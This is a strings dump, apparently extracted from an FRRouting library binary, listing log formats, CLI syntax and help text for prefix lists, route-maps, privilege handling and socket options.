matching entry #%lld: %pFXprefixListCounterprefixListNameseqPrefixListTypeipPrefixListipv6PrefixList   seq %lld %s %pFXlib/plist.cipv6 prefix listPREFIXLIST_NAMEipv4 prefix listdebug_prefix_list_match_cmddebug_prefix_list_matchclear_ipv6_prefix_list_cmdclear_ipv6_prefix_listshow_ipv6_prefix_list_detailshow_ipv6_prefix_list_summaryshow_ipv6_prefix_list_prefixshow_ipv6_prefix_list_cmdshow_ipv6_prefix_listclear_ip_prefix_list_cmdclear_ip_prefix_listshow_ip_prefix_list_detailshow_ip_prefix_list_summaryshow_ip_prefix_list_prefixshow_ip_prefix_list_cmdshow_ip_prefix_listPrefix List Trie TablePrefix List EntryPrefix List StrPrefix Listip%s prefix-list %s: %d entries
   count: %d, range entries: %d, sequences: %lld - %lld
 (hit count: %ld, refcount: %ld)%% Can't find specified prefix-list
Prefix-list with the last deletion/insertion: %s
%% no prefix list named %s for AFI %s
%s prefix list %s yields %s for %pFX, object->next_best == *updptr || !*updptrtable->entries[byte].next_tabledebug prefix-list WORD$prefix-list match <A.B.C.D/M|X:X::X:X/M> [address-mode$addr_mode]Debugging functions
Prefix-list test access
Name of a prefix list
Test prefix for prefix list result
Prefix to test in ip prefix-list
Prefix to test in ipv6 prefix-list
Use address matching mode (PIM RP)
clear ipv6 prefix-list [WORD [X:X::X:X/M$prefix]]Reset functions
IPv6 information
Build a prefix list
Name of a prefix list
IPv6 prefix <network>/<length>, e.g., 3ffe::/16
show ipv6 prefix-list detail [WORD$prefix-list] [json$uj]Show running system information
IPv6 information
Build a prefix list
Detail of prefix lists
Name of a prefix list
JavaScript Object Notation
show_ipv6_prefix_list_detail_cmdshow ipv6 prefix-list summary [WORD$prefix-list] [json$uj]Show running system information
IPv6 information
Build a prefix list
Summary of prefix lists
Name of a prefix list
JavaScript Object Notation
show_ipv6_prefix_list_summary_cmdshow ipv6 prefix-list WORD X:X::X:X/M$prefix [longer$dl|first-match$dfm]Show running system information
IPv6 information
Build a prefix list
Name of a prefix list
IPv6 prefix <network>/<length>, e.g., 3ffe::/16
Lookup longer prefix
First matched prefix
show_ipv6_prefix_list_prefix_cmdshow ipv6 prefix-list [WORD [seq$dseq (1-4294967295)$arg]] [json$uj]Show running system information
IPv6 information
Build a prefix list
Name of a prefix list
sequence number of an entry
Sequence number
JavaScript Object Notation
clear ip prefix-list [WORD [A.B.C.D/M$prefix]]Reset functions
IP information
Build a prefix list
Name of a prefix list
IP prefix <network>/<length>, e.g., 35.0.0.0/8
show ip prefix-list detail [WORD$prefix_list] [json$uj]Show running system information
IP information
Build a prefix list
Detail of prefix lists
Name of a prefix list
JavaScript Object Notation
show_ip_prefix_list_detail_cmdshow ip prefix-list summary [WORD$prefix_list] [json$uj]Show running system information
IP information
Build a prefix list
Summary of prefix lists
Name of a prefix list
JavaScript Object Notation
show_ip_prefix_list_summary_cmdshow ip prefix-list WORD A.B.C.D/M$prefix [longer$dl|first-match$dfm]Show running system information
IP information
Build a prefix list
Name of a prefix list
IP prefix <network>/<length>, e.g., 35.0.0.0/8
Lookup longer prefix
First matched prefix
show_ip_prefix_list_prefix_cmdshow ip prefix-list [WORD [seq$dseq (1-4294967295)$arg]] [json$uj]Show running system information
IP information
Build a prefix list
Name of a prefix list
sequence number of an entry
Sequence number
JavaScript Object Notation
prefix_list_init_ipv6prefix_list_init_ipv4trie_install_fnprefix_list_trie_delprefix_copy(): Unknown address family %d%2x:%2x:%2x:%2x:%2x:%2x:%2x:%2x:%2x:%2x%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02xmasklen >= 0 && masklen <= IPV6_MAX_BITLENmasklen >= 0 && masklen <= IPV4_MAX_BITLEN!"Reached end of function we should never reach"(*,(%pI4,*)ethernetEvpnl2vpnbad-valueencaplabeled-unicastinetinet6ether%2x:%2x:%2x:%2x:%2x:%2x<src?><grp?>(%s,%s)%s/%d%02x:%02x:%02x:%02x:%02x:%02x[%d]:[%u]:[%s]:[%d]:[%s]:[%u][%d]:[%d]:[%d]:[%s][%d]:[%d]:[%d]:[%s]:[%d]:[%s]Unsupported EVPN prefixFS prefixUNK prefix{prefix.af=%dPF}service-carvingHRWpreferenceunknown %ulib/prefix.csize >= ESI_STR_LENsize >= ETHER_ADDR_STRLENsrc->familyPrefix Flowspec{{{{{|l||||||||̕̕|T,ė$esi_to_strprefix_mac2strmasklen2ip6masklen2ipprefix_copyafi2str_lowerzprivs_state_caps: could not cap_get_flag, %s%s: Failed to raise privileges (%s)%s: Failed to lower privileges (%s)zprivs_init: called with NULL arg!
privs_init: could not lookup user %s
privs_init: could not lookup group %s
privs_init: could not getgrouplist for user %s
privs_init: could not lookup vty group %s
privs_init: could not setgroups, %s
zprivs_init: could not setregid, %s
privs_init: could not set PR_SET_KEEPCAPS, %s
zprivs_init (cap): could not setreuid, %s
privs_init: failed to cap_init, %s
privs_init: failed to cap_clear, %s
privs_init: initial cap_set_proc failed: %s
privs_init: user(%s) is not part of vty group specified(%s)
%s: no privs struct given, terminatingprivs_terminate: cap_set_proc failed, %srefs->raised_in_funcname, safe_strerror((*__errno_location ()))zprivs_state.syscaps_p && zprivs_state.capsWanted caps: %s
Have   caps: %s
lib/privs.cPrivilege informationzprivs_terminate_zprivs_lower_zprivs_raisezprivs_state_capszprivs_change_caps%4d%16.16sget-statuspullwr_runpullwr_bumplib/pullwr.cpullwr_run&pullwr->writerniovpull-driven write bufferpull-driven write controllerRing bufferPPPP``pp00@@TtdTDyL'.(8Hroute_map_initshow_route_map_pfx_tblrmap_cmd_name_finivty_show_unused_route_mapvty_show_route_maproute_map_process_dependencyroute_map_notify_dependenciesroute_map_print_dependencyroute_map_dep_updateroute_map_get_indexroute_map_apply_extget_route_map_delete_eventroute_map_index_addroute_unlock_noderoute_map_index_deleteroute_map_addroute_map_free_maproute_map_clear_referenceroute_map_clear_all_referencesXx%s: Dependency for %s: %sNotifying %s of dependencydebug route-map
ipv6 address prefix-listip address prefix-listRoute Map Dep HashinvokeddisabledOptimizationprocessedChangematchClausessetClausescallClauseGoto %d  Description:
    %s
  Match clauses:
    %s %s
  Set clauses:
  Call clause:
    Call %s
  Action:
    Goto %d
    Continue to next entry
    Exit routemap

%s:

%s: None
rmapname%s: 'route-map %s' not found
Route-map Index ListIPv4 Prefix
%s%43s%s
____________________%s%39s%s
    %pRN (%d)
(P) %pRN
%*s%s
%*s%s seq %d
IPv6 Prefixno matchnoopokayinvalidFilter %s updatedDeleting route-map %sClearing references for %sAdd route-map %s%% [%s] Can't find rule.Route Map Master Hashlib/routemap.ch->hh.count == 0dep->dep_name__func__, dep_name, rmap_namermap_name, dep_nameRMAP_RECURSION_LIMITindex->map->name, index->prefmap->nameshow_route_map_pfx_tbl_cmdshow_route_map_pfx_tblroute-map debugno debug route-mapno_debug_rmap_cmdno_debug_rmapshow route-map-unusedrmap_show_unused_cmdrmap_show_unusedshow route-map [WORD] [json]rmap_show_name_cmdrmap_show_namermap_clear_counters_cmdrmap_clear_countersRoute map dependency dataRoute map dependencyRoute map compiledRoute map rule strRoute map ruleRoute map indexRoute map nameRoute mapClearing reference for %s to %s count: %droute-map: %s Invoked: %llu Optimization: %s Processed Change: %s
 %s, sequence %d Invoked %llu
The route-map '%s' does not exist.
route-map recursion limit (%d) reached, discarding routeSkipping route-map optimization for route-map: %s, pfx: %pFX, family: %dNo best match sequence for pfx: %pFX in route-map: %s, result: %sBest match route-map: %s, sequence: %d for pfx: %pFX, result: %sRoute-map: %s, sequence: %d, prefix: %pFX, result: %sRoute-map: %s, prefix: %pFX, result: %sAdding dependency for filter %s in route-map %sDeleting dependency for filter %s in route-map %sroute-map dependency for route-map %s: %s is not correctDeleting route-map %s sequence %dRoute-map %s add sequence %d, type: %s%% [%s] Argument form is unsupported or malformed.%%  [%s] Argument form is unsupported or malformed.(((candidate_rmap_list) ? ((candidate_rmap_list)->head) : ((void *)0)))->data != NULL((candidate_rmap_list) ? ((candidate_rmap_list)->head) : ((void *)0))map->name, prefix, prefix->family(map ? map->name : "null"), prefix, route_map_result_str(ret)map->name, index->pref, prefix, route_map_cmd_result_str(match_ret)prefix, map->name, route_map_cmd_result_str(match_ret)map->name, pref, route_map_type_str(type)dep->dep_name, tmp_dep_data.rname, dep_data->refcntshow route-map RMAP_NAME prefix-tableShow running system information
route-map
route-map name
internal prefix-table
Negate a command or set its defaults
Debugging functions
Debug option set for route-maps
Debugging functions
Debug option set for route-maps
Show running system information
unused route-map information
Show running system information
route-map information
route-map name
JavaScript Object Notation
clear route-map counters [RMAP_NAME$rmapname]Reset functions
route-map information
counters associated with the specified route-map
route-map name
Continue to next./set-action[action='frr-route-map:set-sr-te-color']/frr-route-map:lib/route-map[name='%s']/frr-route-map:lib/route-map[name='%s']/entry[sequence='%lu']./match-condition[condition='frr-route-map:interface']%s/rmap-match-condition/interface./match-condition[condition='frr-route-map:ipv4-address-list']%s/rmap-match-condition/list-name./match-condition[condition='frr-route-map:ipv4-prefix-list']./match-condition[condition='frr-route-map:ipv4-next-hop-list']./match-condition[condition='frr-route-map:ipv4-next-hop-prefix-list']./match-condition[condition='frr-route-map:ipv4-next-hop-type']%s/rmap-match-condition/ipv4-next-hop-type./match-condition[condition='frr-route-map:ipv6-address-list']./match-condition[condition='frr-route-map:ipv6-prefix-list']./match-condition[condition='frr-route-map:ipv6-next-hop-type']%s/rmap-match-condition/ipv6-next-hop-type./match-condition[condition='frr-route-map:match-metric']%s/rmap-match-condition/metric./match-condition[condition='frr-route-map:match-tag']./set-action[action='frr-route-map:ipv4-next-hop']%s/rmap-set-action/ipv4-address./set-action[action='frr-route-map:ipv6-next-hop']%s/rmap-set-action/ipv6-address./set-action[action='frr-route-map:set-metric']%s/rmap-set-action/use-round-trip-time%s/rmap-set-action/add-round-trip-time%s/rmap-set-action/subtract-round-trip-time%s/rmap-set-action/subtract-metric./set-action[action='frr-route-map:set-tag']/frr-route-map:lib/route-map[name='%s']/optimization-disabled./rmap-match-condition/interfacefrr-route-map:ipv4-address-list./rmap-match-condition/list-namefrr-route-map:ipv4-next-hop-listfrr-route-map:ipv6-next-hop-listfrr-route-map:ipv4-prefix-list match ip address prefix-list %s
frr-route-map:ipv4-next-hop-prefix-list match ip next-hop prefix-list %s
frr-route-map:ipv6-next-hop-prefix-list match ipv6 next-hop prefix-list %s
frr-route-map:ipv6-address-listfrr-route-map:ipv6-prefix-list match ipv6 address prefix-list %s
frr-route-map:ipv4-next-hop-type./rmap-match-condition/ipv4-next-hop-typefrr-route-map:ipv6-next-hop-type./rmap-match-condition/ipv6-next-hop-typefrr-zebra-route-map:ipv4-prefix-length./rmap-match-condition/frr-zebra-route-map:ipv4-prefix-length match ip address prefix-len %s
frr-zebra-route-map:ipv6-prefix-length./rmap-match-condition/frr-zebra-route-map:ipv6-prefix-length match ipv6 address prefix-len %s
frr-zebra-route-map:ipv4-next-hop-prefix-length match ip next-hop prefix-len %s
frr-zebra-route-map:source-protocol./rmap-match-condition/frr-zebra-route-map:source-protocolfrr-zebra-route-map:source-instance./rmap-match-condition/frr-zebra-route-map:source-instancefrr-bgp-route-map:match-local-preference./rmap-match-condition/frr-bgp-route-map:local-preference./rmap-match-condition/frr-bgp-route-map:aliasfrr-bgp-route-map:match-script./rmap-match-condition/frr-bgp-route-map:scriptfrr-bgp-route-map:match-origin./rmap-match-condition/frr-bgp-route-map:origin./rmap-match-condition/frr-bgp-route-map:rpkifrr-bgp-route-map:rpki-extcommunity./rmap-match-condition/frr-bgp-route-map:rpki-extcommunity./rmap-match-condition/frr-bgp-route-map:probability./rmap-match-condition/frr-bgp-route-map:source-vrf./rmap-match-condition/frr-bgp-route-map:peer-ipv4-address./rmap-match-condition/frr-bgp-route-map:peer-ipv6-address./rmap-match-condition/frr-bgp-route-map:peer-interface./rmap-match-condition/frr-bgp-route-map:peer-localfrr-bgp-route-map:as-path-list./rmap-match-condition/frr-bgp-route-map:list-namefrr-bgp-route-map:evpn-route-type./rmap-match-condition/frr-bgp-route-map:evpn-route-typefrr-bgp-route-map:evpn-default-route./rmap-match-condition/frr-bgp-route-map:evpn-vni./rmap-match-condition/frr-bgp-route-map:route-distinguisherfrr-bgp-route-map:mac-address-listfrr-bgp-route-map:ip-route-sourcefrr-bgp-route-map:ip-route-source-prefix-list match ip route-source prefix-list %s
frr-bgp-route-map:match-community./rmap-match-condition/frr-bgp-route-map:comm-list/comm-list-name./rmap-match-condition/frr-bgp-route-map:comm-list/comm-list-name-exact-matchfrr-bgp-route-map:match-large-communityfrr-bgp-route-map:match-extcommunityfrr-bgp-route-map:ipv4-nexthop./rmap-match-condition/frr-bgp-route-map:ipv4-address match ip next-hop address %s
frr-bgp-route-map:ipv6-nexthop./rmap-match-condition/frr-bgp-route-map:ipv6-address match ipv6 next-hop address %s
./rmap-set-action/ipv4-address./rmap-set-action/ipv6-address./rmap-set-action/use-round-trip-time./rmap-set-action/add-round-trip-time./rmap-set-action/subtract-round-trip-time./rmap-set-action/subtract-metricfrr-zebra-route-map:src-address./rmap-set-action/frr-zebra-route-map:ipv4-src-address./rmap-set-action/frr-zebra-route-map:ipv6-src-addressfrr-ospf-route-map:metric-type./rmap-set-action/frr-ospf-route-map:metric-typefrr-ospf6-route-map:forwarding-address./rmap-set-action/frr-ospf6-route-map:ipv6-address./rmap-set-action/frr-bgp-route-map:weight./rmap-set-action/frr-bgp-route-map:tablefrr-bgp-route-map:set-local-preference./rmap-set-action/frr-bgp-route-map:local-pref./rmap-set-action/frr-bgp-route-map:label-index./rmap-set-action/frr-bgp-route-map:distance./rmap-set-action/frr-bgp-route-map:originfrr-bgp-route-map:atomic-aggregate./rmap-set-action/frr-bgp-route-map:aigp-metricfrr-bgp-route-map:originator-id./rmap-set-action/frr-bgp-route-map:originator-idfrr-bgp-route-map:comm-list-delete./rmap-set-action/frr-bgp-route-map:comm-list-namefrr-bgp-route-map:large-comm-list-delete set large-comm-list %s delete
frr-bgp-route-map:set-large-community./rmap-set-action/frr-bgp-route-map:large-community-string./rmap-set-action/frr-bgp-route-map:large-community-nonefrr-bgp-route-map:set-community./rmap-set-action/frr-bgp-route-map:community-string./rmap-set-action/frr-bgp-route-map:community-nonefrr-bgp-route-map:set-extcommunity-rt./rmap-set-action/frr-bgp-route-map:extcommunity-rtfrr-bgp-route-map:set-extcommunity-soo./rmap-set-action/frr-bgp-route-map:extcommunity-soofrr-bgp-route-map:set-extcommunity-lb./rmap-set-action/frr-bgp-route-map:extcommunity-lb/lb-type./rmap-set-action/frr-bgp-route-map:extcommunity-lb/bandwidth./rmap-set-action/frr-bgp-route-map:extcommunity-lb/two-octet-as-specific set extcommunity bandwidth %s
frr-bgp-route-map:set-extcommunity-none./rmap-set-action/frr-bgp-route-map:extcommunity-none./rmap-set-action/frr-bgp-route-map:aggregator/aggregator-address./rmap-set-action/frr-bgp-route-map:aggregator/aggregator-asnfrr-bgp-route-map:as-path-exclude./rmap-set-action/frr-bgp-route-map:exclude-as-pathfrr-bgp-route-map:as-path-replace./rmap-set-action/frr-bgp-route-map:replace-as-pathfrr-bgp-route-map:as-path-prepend./rmap-set-action/frr-bgp-route-map:prepend-as-path./rmap-set-action/frr-bgp-route-map:last-as set as-path prepend last-as %u
frr-bgp-route-map:ipv6-nexthop-global./rmap-set-action/frr-bgp-route-map:ipv6-addressfrr-bgp-route-map:ipv6-vpn-addressfrr-bgp-route-map:ipv6-peer-address./rmap-set-action/frr-bgp-route-map:preference set ipv6 next-hop peer-address
frr-bgp-route-map:ipv6-prefer-global set ipv6 next-hop prefer-global
frr-bgp-route-map:ipv4-vpn-address./rmap-set-action/frr-bgp-route-map:ipv4-addressfrr-bgp-route-map:set-ipv4-nexthop./rmap-set-action/frr-bgp-route-map:ipv4-nexthopfrr-bgp-route-map:set-evpn-gateway-ip-ipv4./rmap-set-action/frr-bgp-route-map:evpn-gateway-ip-ipv4frr-bgp-route-map:set-evpn-gateway-ip-ipv6./rmap-set-action/frr-bgp-route-map:evpn-gateway-ip-ipv6frr-bgp-route-map:set-l3vpn-nexthop-encapsulation./rmap-set-action/frr-bgp-route-map:l3vpn-nexthop-encapsulation set l3vpn next-hop encapsulation %s
[no] route-map RMAP_NAME$name optimizationNegate a command or set its defaults
Create route-map or enter route-map command mode
Route map tag
Configure route-map optimization
Negate a command or set its defaults
Route-map comment
Route-map comment
Comment describing this route-map rule
Negate a command or set its defaults
Jump to another Route-Map after match+set
Target route-map name
Jump to another Route-Map after match+set
Target route-map name
Negate a command or set its defaults
Continue on a different entry within the route-map
Route-map entry sequence number
Continue on a different entry within the route-map
Route-map entry sequence number
Negate a command or set its defaults
Exit policy on matches
Goto Clause number
on-match goto (1-65535)$rm_numExit policy on matches
Goto Clause number
Number
Negate a command or set its defaults
Exit policy on matches
Next clause
Exit policy on matches
Next clause
no set sr-te color [(1-4294967295)]Negate a command or set its defaults
Set values in destination routing protocol
SR-TE information
SR-TE Color information
Color of the SR-TE Policies to match with
set sr-te color (1-4294967295)Set values in destination routing protocol
SR-TE information
SR-TE Color information
Color of the SR-TE Policies to match with
Negate a command or set its defaults
Set values in destination routing protocol
Tag value for routing protocol
Tag value
Set values in destination routing protocol
Tag value for routing protocol
Tag value
Negate a command or set its defaults
Set values in destination routing protocol
Metric value for destination routing protocol
Metric value
set metric <(-4294967295-4294967295)$metric|rtt$rtt|+rtt$artt|-rtt$srtt>Set values in destination routing protocol
Metric value for destination routing protocol
Metric value (use +/- for additions or subtractions)
Assign round trip time
Add round trip time
Subtract round trip time
no set ipv6 next-hop local [X:X::X:X]Negate a command or set its defaults
Set values in destination routing protocol
IPv6 information
IPv6 next-hop address
IPv6 local address
IPv6 address of next hop
set ipv6 next-hop local X:X::X:X$addrSet values in destination routing protocol
IPv6 information
IPv6 next-hop address
IPv6 local address
IPv6 address of next hop
Negate a command or set its defaults
Set values in destination routing protocol
IP information
Next hop address
IP address of next hop
Set values in destination routing protocol
IP information
Next hop address
IP address of next hop
Negate a command or set its defaults
Match values from routing table
Match tag of route
Tag value
Match values from routing table
Match tag of route
Tag value
no match metric [(0-4294967295)]Negate a command or set its defaults
Match values from routing table
Match metric of route
Metric value
match metric (0-4294967295)$metricMatch values from routing table
Match metric of route
Metric value
no match ipv6 next-hop type [<blackhole>]Negate a command or set its defaults
Match values from routing table
IPv6 information
Match address of route
Match entries by type
Blackhole
no_match_ipv6_next_hop_type_cmdmatch ipv6 next-hop type <blackhole>$typeMatch values from routing table
IPv6 information
Match next-hop address of route
Match entries by type
Blackhole
no match ipv6 address prefix-list [PREFIXLIST_NAME]Negate a command or set its defaults
Match values from routing table
IPv6 information
Match address of route
Match entries of prefix-lists
IP prefix-list name
no_match_ipv6_address_prefix_list_cmdno_match_ipv6_address_prefix_listmatch ipv6 address prefix-list PREFIXLIST_NAME$nameMatch values from routing table
IPv6 information
Match address of route
Match entries of prefix-lists
IP prefix-list name
match_ipv6_address_prefix_list_cmdmatch_ipv6_address_prefix_listno match ipv6 address [ACCESSLIST6_NAME]Negate a command or set its defaults
Match values from routing table
IPv6 information
Match IPv6 address of route
IPv6 access-list name
match ipv6 address ACCESSLIST6_NAME$nameMatch values from routing table
IPv6 information
Match IPv6 address of route
IPv6 access-list name
no match ip next-hop type [<blackhole>]Negate a command or set its defaults
Match values from routing table
IP information
Match next-hop address of route
Match entries by type
Blackhole
match ip next-hop type <blackhole>$typeMatch values from routing table
IP information
Match next-hop address of route
Match entries by type
Blackhole
no match ip next-hop prefix-list [PREFIXLIST_NAME]Negate a command or set its defaults
Match values from routing table
IP information
Match next-hop address of route
Match entries of prefix-lists
IP prefix-list name
no_match_ip_next_hop_prefix_list_cmdno_match_ip_next_hop_prefix_listmatch ip next-hop prefix-list PREFIXLIST_NAME$nameMatch values from routing table
IP information
Match next-hop address of route
Match entries of prefix-lists
IP prefix-list name
match_ip_next_hop_prefix_list_cmdno match ip next-hop [ACCESSLIST4_NAME]Negate a command or set its defaults
Match values from routing table
IP information
Match address of route
IP Access-list name
match ip next-hop ACCESSLIST4_NAME$nameMatch values from routing table
IP information
Match next-hop address of route
IP Access-list name
no match ip address prefix-list [PREFIXLIST_NAME]Negate a command or set its defaults
Match values from routing table
IP information
Match address of route
Match entries of prefix-lists
IP prefix-list name
no_match_ip_address_prefix_list_cmdno_match_ip_address_prefix_listmatch ip address prefix-list PREFIXLIST_NAME$nameMatch values from routing table
IP information
Match address of route
Match entries of prefix-lists
IP prefix-list name
match_ip_address_prefix_list_cmdno match ip address [ACCESSLIST4_NAME]match ip address ACCESSLIST4_NAME$nameMatch values from routing table
IP information
Match address of route
IP Access-list name
Negate a command or set its defaults
Match values from routing table
Match first hop interface of route
Interface information
Match values from routing table
Match first hop interface of route
Interface information
no route-map RMAP_NAME$name <deny|permit>$action (1-65535)$sequenceNegate a command or set its defaults
Create route-map or enter route-map command mode
Route map tag
Route map denies set operations
Route map permits set operations
Sequence to insert to/delete from existing route-map entry
Negate a command or set its defaults
Create route-map or enter route-map command mode
Route map tag
route-map RMAP_NAME$name <deny|permit>$action (1-65535)$sequenceCreate route-map or enter route-map command mode
Route map tag
Route map denies set operations
Route map permits set operations
Sequence to insert to/delete from existing route-map entry
(1-4294967295)%s/rmap-set-action/policy/frr-route-map:libsequence_strmetric_str%s/rmap-match-condition/tagtag_straddr_str%s/rmap-set-action/add-metric%s/rmap-set-action/valuearttsrtt%s/rmap-set-action/tag./exit-policyrm_num_str./call%s/entry[sequence='%lu']%s/actionroute-map %s %s %s
frr-route-map:interface match interface %s
 match ip address %s
 match ip next-hop %s
 match ipv6 next-hop %s
 match ipv6 address %s
 match ip next-hop type %s
 match ipv6 next-hop type %s
frr-route-map:match-metric./rmap-match-condition/metric match metric %s
frr-route-map:match-tag./rmap-match-condition/tag match tag %s
 match source-protocol %s
 match source-instance %s
 match local-preference %s
frr-bgp-route-map:match-alias match alias %s
 match script %s
 match origin %s
frr-bgp-route-map:rpki match rpki %s
 match rpki-extcommunity %s
frr-bgp-route-map:probability match probability %s
frr-bgp-route-map:source-vrf match source-vrf %s
frr-bgp-route-map:peer match peer %s
 match as-path %s
 match evpn route-type %s
 match evpn default-route
frr-bgp-route-map:evpn-vni match evpn vni %s
frr-bgp-route-map:evpn-rd match evpn rd %s
 match mac address %s
 match ip route-source %s
 match community %s match large-community %s match extcommunity %s
frr-route-map:ipv4-next-hop set ip next-hop %s
frr-route-map:ipv6-next-hop set ipv6 next-hop local %s
frr-route-map:set-metric set metric rtt
 set metric +rtt
 set metric -rtt
./rmap-set-action/add-metric set metric +%s
 set metric -%s
./rmap-set-action/value set metric %s
frr-route-map:set-tag./rmap-set-action/tag set tag %s
frr-route-map:set-sr-te-color./rmap-set-action/policy set sr-te color %s
 set src %s
 set metric-type %s
 set forwarding-address %s
frr-bgp-route-map:weight set weight %s
frr-bgp-route-map:table set table %s
 set local-preference %s
frr-bgp-route-map:label-index set label-index %s
frr-bgp-route-map:distance set distance %s
frr-bgp-route-map:set-origin set origin %s
 set atomic-aggregate
frr-bgp-route-map:aigp-metric set aigp-metric %s
 set originator-id %s
 set comm-list %s delete
 set large-community %s
 set large-community none
 set community %s
 set community none
 set extcommunity rt %s
 set extcommunity soo %s
cumulativenum-multipaths non-transitive set extcommunity none
frr-bgp-route-map:aggregator set aggregator as %s %s
 set as-path exclude %s
 set as-path replace %s
 set as-path prepend %s
 set ipv6 next-hop global %s
 set ipv6 vpn next-hop %s
 set ipv4 vpn next-hop %s
 set evpn gateway-ip ipv4 %s
 set evpn gateway-ip ipv6 %s
 on-match next
../goto-value on-match goto %s
 call %s
no %sroute-map %s optimization
lib/routemap_cli.caclROUTEMAP_NAMERMAP_NAMEroutemap%s(config-route-map)# route_map_optimization_cmdroute_map_optimizationno_rmap_description_cmdno_rmap_descriptionno call [NAME]no_rmap_call_cmdno_rmap_callcall WORD$nameno continue [(1-65535)]no_rmap_continue_cmdno_rmap_onmatch_gotocontinue (1-65535)$rm_numno on-match gotono_rmap_onmatch_goto_cmdno on-match nextno_rmap_onmatch_next_cmdno_rmap_onmatch_nextno_set_srte_color_cmdno_set_srte_colorno set tag [(1-4294967295)]no_set_tag_cmdno_set_tagset tag (1-4294967295)$tagno set metric [OPTVAL]no_set_metric_cmdno_set_metricno_set_ipv6_nexthop_local_cmdno_set_ipv6_nexthop_localno set ip next-hop [A.B.C.D]no_set_ip_nexthop_cmdno_set_ip_nexthopset ip next-hop A.B.C.D$addrno match tag [(1-4294967295)]no_match_tag_cmdno_match_tagmatch tag (1-4294967295)$tagno_match_metric_cmdno_match_metricno_match_ipv6_next_hop_typematch_ipv6_next_hop_type_cmdno_match_ipv6_address_cmdno_match_ipv6_addressno_match_ip_next_hop_type_cmdno_match_ip_next_hop_typematch_ip_next_hop_prefix_listno_match_ip_next_hop_cmdno_match_ip_next_hopmatch_ip_address_prefix_listno_match_ip_address_cmdno_match_ip_addressno match interface [IFNAME]no_match_interface_cmdno_match_interfacematch interface IFNAMEno_route_map_cmdno_route_mapno route-map RMAP_NAME$nameno_route_map_all_cmdno_route_map_allroute_map_cli_initroute_map_action_show../../name-rtt+rtt-%sCan't add zero to metric+%ssr-te coloripv6 next-hop typeip next-hop typeipv6 next-hop localip next-hop../../conditionip addressipv6 next-hopip next-hop prefix-listipv6 next-hop prefix-listipv6 address../sequence../actionfrr-route-map/frr-route-map:lib/route-mapCan't subtract zero from metric/frr-route-map:lib/route-map/optimization-disabled/frr-route-map:lib/route-map/entry/frr-route-map:lib/route-map/entry/description/frr-route-map:lib/route-map/entry/action/frr-route-map:lib/route-map/entry/call/frr-route-map:lib/route-map/entry/exit-policy/frr-route-map:lib/route-map/entry/goto-value/frr-route-map:lib/route-map/entry/match-condition/frr-route-map:lib/route-map/entry/match-condition/rmap-match-condition/interface/frr-route-map:lib/route-map/entry/match-condition/rmap-match-condition/list-name/frr-route-map:lib/route-map/entry/match-condition/rmap-match-condition/ipv4-next-hop-type/frr-route-map:lib/route-map/entry/match-condition/rmap-match-condition/ipv6-next-hop-type/frr-route-map:lib/route-map/entry/match-condition/rmap-match-condition/metric/frr-route-map:lib/route-map/entry/match-condition/rmap-match-condition/tag/frr-route-map:lib/route-map/entry/set-action/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/ipv4-address/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/ipv6-address/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/value/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/add-metric/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/subtract-metric/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/use-round-trip-time/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/add-round-trip-time/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/subtract-round-trip-time/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/tag/frr-route-map:lib/route-map/entry/set-action/rmap-set-action/policylib/sbuf.c!"Buffer filled up!"sbuf_pushseqlock_bumpseqlock_acquire_valseqlock_checkseqlock_timedwaitseqlock_waitlib/seqlock.c(cur) & SEQLOCK_HELD(val) & SEQLOCK_HELDcur < 0x40000000 || cur > 0xc0000000cal < 0x40000000 || cal > 0xc00000006666666666666666\\\\\\\\\\\\\\\\aborting...core_handlerexiting...lib/sigevent.cUnable to set signal handler for signal %d: %ssigmap[i].sigs[j], safe_strerror(errno)

trap_default_signalsSkiplist %p has max level %d
  @%d: %d
%s: entry%s: skiplist_new returned %p%s: (%d:%d)error in insert #%d,#%d%s: inserts done[%d:%d]error in search #%d,#%dsearch returned wrong value<%d:%d>error in delete{%d:%d}error in delete_firstlib/skiplist.c__func__, i, k__func__, lk >= 0newSkiplist CountersSkip NodeSkip Listskiplist_testskiplist_insertskiplist_new%s: fd %d: SO_RCVBUF set to %d (requested %d)%s: fd %d: SO_SNDBUF set to %d (requested %d)fd %d: can't getsockopt SO_SNDBUF: %d (%s)fd %d: can't getsockopt SO_RCVBUF: %d (%s)can't setsockopt IPV6_RECVPKTINFO : %scan't setsockopt IPV6_MULTICAST_HOPScan't setsockopt IPV6_UNICAST_HOPScan't setsockopt IPV6_RECVHOPLIMITcan't setsockopt IPV6_MULTICAST_LOOPCan't set IPV6_TCLASS option for fd %d to %#x: %scan't setsockopt IP_MULTICAST_LOOPCan't set IP_TOS option for fd %d to %#x: %sCan't set IP_PKTINFO option for fd %d to %d: %ssetsockopt_ifindex: unknown address family %dgetsockopt_ifindex: unknown address family %dsockopt_tcp_signature: setsockopt(%d): %s%s failed: setsockopt SO_KEEPALIVE (%d): %s%s failed: setsockopt TCP_KEEPIDLE (%d): %s%s failed: setsockopt TCP_KEEPINTVL (%d): %s%s failed: setsockopt TCP_KEEPCNT (%d): %s__func__, sock, safe_strerror(errno)sock, val, safe_strerror(errno)sock, tos, safe_strerror(errno)sock, tclass, safe_strerror(errno)sock, errno, safe_strerror(errno)__func__, sock, size, orig_req%s failed: setsockopt(%d): %s%s failed: getsockopt(%d): %slib/sockopt.csock, safe_strerror(errno)setsockopt_tcp_keepalivesockopt_tcp_mss_getsockopt_tcp_mss_setsockopt_tcp_signature_extgetsockopt_ifindexsetsockopt_ipv4_ifindexsetsockopt_ifindexsetsockopt_ipv4_tossetsockopt_ipv4_multicast_loopsetsockopt_ipv6_tclasssetsockopt_ipv6_multicast_loopsetsockopt_ipv6_hoplimitsetsockopt_ipv6_unicast_hopssetsockopt_ipv6_multicast_hopssetsockopt_ipv6_pktinfogetsockopt_so_recvbufgetsockopt_so_sendbufsetsockopt_so_sendbufsetsockopt_so_recvbufaf_unknown %d (unspec)%%%u]:%d@%*pSE(af 